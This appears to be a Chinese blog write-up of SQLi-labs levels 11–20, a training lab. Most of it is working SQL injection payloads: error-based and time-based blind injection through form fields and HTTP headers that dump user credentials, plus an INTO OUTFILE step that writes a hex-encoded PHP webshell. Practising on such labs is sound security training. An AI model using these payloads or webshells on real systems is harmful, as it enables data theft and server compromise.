Sqlilab闯关记录(11~20)(白盒测试)

前面10关使用黑盒测试,本篇使用白盒测试,即查看网页源码找到注入点

第11关(POST请求+单引号闭合)

第11关是post请求,当输入正确的账号密码页面显示登陆成功。

 查看网页源码,发现可以使用‘闭合,而且网页把sql语句的错误信息输出 ,可以使用报错注入。

下面开始寻找注入点,尝试在uname参数注入payload:

uname=Dumb' and 1=1#&passwd=Dumb&submit=Submit页面正常显示

uname=Dumb' and 1=2#&passwd=Dumb&submit=Submit页面报错

找到注入点

尝试注入:

payload:

 uname=Dumb' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=Dumb&submit=Submit

爆出数据库名称security

接下来就是熟悉的爆表和爆列名和爆数据: 

uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

爆出表名users

 uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#

爆出users表的所有列

uname=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#

爆数据:

payload:

爆security的表名:
uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=Dumb&submit=Submit

爆users的列名:
uname=Dumb' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&passwd=Dumb&submit=Submit

爆数据:
uname=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&passwd=Dumb&submit=Submit

uname=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)#&passwd=Dumb&submit=Submit

第12关(双引号+括号闭合)

第十二关使用”闭合,同样输出sql语句查询的报错信息,使用报错注入

第十二关和第十一关的思路相同,只不过这一关使用:)闭合前面的sql语句,就不重复演示了,给出下面payload:

爆security的表名:
uname=Dumb") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=Dumb&submit=Submit

爆users的列名:
uname=Dumb") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&passwd=Dumb&submit=Submit

爆数据:
uname=Dumb") and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&passwd=Dumb&submit=Submit

uname=Dumb") and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)#&passwd=Dumb&submit=Submit

第十三关(单引号+括号闭合)

第十三关使用’)闭合,同样输出sql语句查询的报错信息,使用报错注入

第十三关和第十一关思路也相同,只不过这一关使用‘)闭合前面的sql语句,不重复演示,给出下面的payload:

爆security的表名:
uname=Dumb') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=Dumb&submit=Submit

爆users的列名:
uname=Dumb') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&passwd=Dumb&submit=Submit

爆数据:
uname=Dumb') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&passwd=Dumb&submit=Submit

uname=Dumb') and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)#&passwd=Dumb&submit=Submit

第十四关(双引号闭合)

第十四关使用“闭合,同样输出sql语句查询的报错信息,使用报错注入

这一关很简单,使用双引号闭合就可以了,不重复演示,思路和上面几道题都一模一样,给出payload:

爆security的表名:
uname=Dumb" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&passwd=Dumb&submit=Submit

爆users的列名:
uname=Dumb" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&passwd=Dumb&submit=Submit

爆数据:
uname=Dumb" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&passwd=Dumb&submit=Submit

uname=Dumb" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)#&passwd=Dumb&submit=Submit

第十五关(时间盲注)

第十五关发现报错注入页面没有回显,说明用不了,所以尝试使用时间盲注,网页源代码中也表明把数据库的error信息屏蔽掉了。

payload:

uname=Dumb' and if(length(database())=8,sleep(5),1)#&passwd=&submit=Submit

数据库的长度若为8,页面5秒后返回,找到数据的长度

接下来就是使用脚本结合substr函数判断数据库的每一个元素是什么,这里就不演示,后续博客会将脚本分享出来。(爆数据的方法)

更简单的是写一句话木马到数据库中然后使用冰蝎链接。

一句话木马:

uname=Dumb' or 1=1 limit 0,1 into outfile 'C:/less15.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331355D293B3F3E#&passwd=pass&submit=Submit

 第十六关

第十六关使用”)闭合,sql语句的报错信息被屏蔽了,所以还是使用时间盲注

 其他思路和上一关一样

payload:

uname=Dumb“) and if(length(database())=8,sleep(5),1)#&passwd=&submit=Submit

数据库的长度若为8,页面5秒后返回,找到数据的长度

接下来就是使用脚本结合substr函数判断数据库的每一个元素是什么,这里就不演示,后续博客会将脚本分享出来。(爆数据的方法)

更简单的是写一句话木马到数据库中然后使用冰蝎链接。

一句话木马:

uname=Dumb' or 1=1 limit 0,1 into outfile 'C:/less16.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331355D293B3F3E#&passwd=pass&submit=Submit

第十七关

第十七关发现源码中多了对输入字符转码的函数,但只对uname进行检查,可以在password处进行注入

同时发现要用户名正确之后才会执行update语句,才可出现注入点password。

存在sql查询语句的报错信息输出,可以使用报错注入

payload:

uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,database(),0x7e),1)#&submit=Submit

 

成功爆出数据库名称security,接下来就是和前面一样的爆数据

 payload:

爆security的表名:
uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#&submit=Submit

爆users的列名:
uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#&submit=Submit

爆数据:
uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1)#&submit=Submit

uname=Dumb#&passwd=Dumb' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),32,31),0x7e),1)&submit=Submit

第十八关

首先观察源码,发现对输入的uname和password都进行了转义,所以第一条查询语句无注入点,发现下面还有一条insert语句存在注入点,uagent可进行注入

 使用burpsuit进行抓包,然后将user-agent字段改为

1'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

insert语句被改写,页面爆出数据库名称security

 

 

 第十九关

查看源码,发现此关注入点在refer字段,还是用burpsuit抓包,修改字段,和上一关一样。

 

 第二十关

此关注入点在cookie字段,源码如下:

在burpsuit的cookie字段加payload:

Cookie: uname=Dumb'' and updatexml(1,concat(0x7e,database(),0x7e),1)#

爆出数据库名称security,接下来还是熟悉的爆数据工作,就不再重重复演示了。 

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值